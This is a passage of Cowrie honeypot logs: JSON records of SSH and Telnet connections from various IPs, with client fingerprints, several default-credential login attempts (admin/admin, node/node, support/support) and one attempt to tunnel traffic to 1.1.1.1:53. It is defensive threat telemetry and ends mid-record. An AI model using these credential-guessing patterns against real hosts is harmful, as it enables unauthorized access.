{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:33.817924Z","src_ip":"2.57.122.208","session":"893622b96876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:34.643717Z","src_ip":"2.57.122.208","session":"893622b96876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:41:36.018723Z","src_ip":"2.57.122.208","session":"893622b96876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63462,"dst_ip":"10.17.0.5","dst_port":22,"session":"e53161524c60","protocol":"ssh","message":"New connection: 87.251.64.176:63462 (10.17.0.5:22) [session: e53161524c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:42:50.164274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:42:50.169112Z","src_ip":"87.251.64.176","session":"e53161524c60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:42:50.265790Z","src_ip":"87.251.64.176","session":"e53161524c60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.155","src_port":64324,"dst_ip":"10.17.0.5","dst_port":22,"session":"1db86f76fce4","protocol":"ssh","message":"New connection: 205.210.31.155:64324 (10.17.0.5:22) [session: 1db86f76fce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:42:50.487077Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:42:50.554370Z","src_ip":"87.251.64.176","session":"e53161524c60","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:42:50.652412Z","session":"e53161524c60","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:42:50.790503Z","src_ip":"87.251.64.176","session":"e53161524c60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:42:50.890407Z","src_ip":"87.251.64.176","session":"e53161524c60","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:42:51.237295Z","src_ip":"205.210.31.155","session":"1db86f76fce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:42:52.073055Z","src_ip":"205.210.31.155","session":"1db86f76fce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:42:59.443851Z","src_ip":"205.210.31.155","session":"1db86f76fce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54386,"dst_ip":"159.203.135.109","dst_port":22,"session":"95248c799d94","protocol":"ssh","message":"New connection: 2.57.122.208:54386 (159.203.135.109:22) [session: 95248c799d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:43:46.628186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:43:46.721534Z","src_ip":"2.57.122.208","session":"95248c799d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:43:46.826541Z","src_ip":"2.57.122.208","session":"95248c799d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:43:47.532664Z","src_ip":"2.57.122.208","session":"95248c799d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:43:48.745692Z","src_ip":"2.57.122.208","session":"95248c799d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.240.187","src_port":55074,"dst_ip":"159.203.135.109","dst_port":23,"session":"283112c5a436","protocol":"telnet","message":"New connection: 187.188.240.187:55074 (159.203.135.109:23) [session: 283112c5a436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:43:55.757059Z"}
{"eventid":"cowrie.session.closed","duration":12.875447273254395,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:44:08.632406Z","src_ip":"187.188.240.187","session":"283112c5a436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57694,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d32e9bff515","protocol":"ssh","message":"New connection: 2.57.122.208:57694 (10.17.0.5:22) [session: 4d32e9bff515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:44:17.828268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:44:18.023519Z","src_ip":"2.57.122.208","session":"4d32e9bff515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:44:18.028367Z","src_ip":"2.57.122.208","session":"4d32e9bff515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:44:19.339347Z","src_ip":"2.57.122.208","session":"4d32e9bff515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:44:20.526701Z","src_ip":"2.57.122.208","session":"4d32e9bff515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.33","src_port":55578,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0ff7c217974","protocol":"ssh","message":"New connection: 31.57.216.33:55578 (159.203.135.109:22) [session: f0ff7c217974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:44:59.380728Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:44:59.385597Z","src_ip":"31.57.216.33","session":"f0ff7c217974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.33","src_port":55592,"dst_ip":"159.203.135.109","dst_port":22,"session":"e270bf1e7838","protocol":"ssh","message":"New connection: 31.57.216.33:55592 (159.203.135.109:22) [session: e270bf1e7838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:44:59.545019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:44:59.548988Z","src_ip":"31.57.216.33","session":"e270bf1e7838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:44:59.654628Z","src_ip":"31.57.216.33","session":"e270bf1e7838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:45:00.007821Z","src_ip":"31.57.216.33","session":"e270bf1e7838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:45:01.116700Z","src_ip":"31.57.216.33","session":"e270bf1e7838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.233.30.18","src_port":22,"dst_ip":"10.17.0.5","dst_port":22,"session":"70b72a5e52d1","protocol":"ssh","message":"New connection: 152.233.30.18:22 (10.17.0.5:22) [session: 70b72a5e52d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:45:45.003630Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:45:45.009823Z","src_ip":"152.233.30.18","session":"70b72a5e52d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.125.27.231","src_port":58148,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2b8945f3c09","protocol":"telnet","message":"New connection: 59.125.27.231:58148 (10.17.0.5:23) [session: d2b8945f3c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:03.368424Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":40194,"dst_ip":"10.17.0.5","dst_port":23,"session":"be538a606462","protocol":"telnet","message":"New connection: 180.235.129.180:40194 (10.17.0.5:23) [session: be538a606462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:15.098778Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":40170,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ddb500cca06","protocol":"telnet","message":"New connection: 180.235.129.180:40170 (10.17.0.5:23) [session: 6ddb500cca06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:15.225110Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":40174,"dst_ip":"10.17.0.5","dst_port":23,"session":"aad97128e8e6","protocol":"telnet","message":"New connection: 180.235.129.180:40174 (10.17.0.5:23) [session: aad97128e8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:19.894207Z"}
{"eventid":"cowrie.session.closed","duration":6.3379387855529785,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:21.436581Z","src_ip":"180.235.129.180","session":"be538a606462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.043226718902588,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:21.937160Z","src_ip":"180.235.129.180","session":"aad97128e8e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.245872974395752,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:23.470860Z","src_ip":"180.235.129.180","session":"6ddb500cca06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.26","src_port":48574,"dst_ip":"10.17.0.5","dst_port":22,"session":"f06228b6b862","protocol":"ssh","message":"New connection: 209.90.232.26:48574 (10.17.0.5:22) [session: f06228b6b862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:28.913844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:46:28.918274Z","src_ip":"209.90.232.26","session":"f06228b6b862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes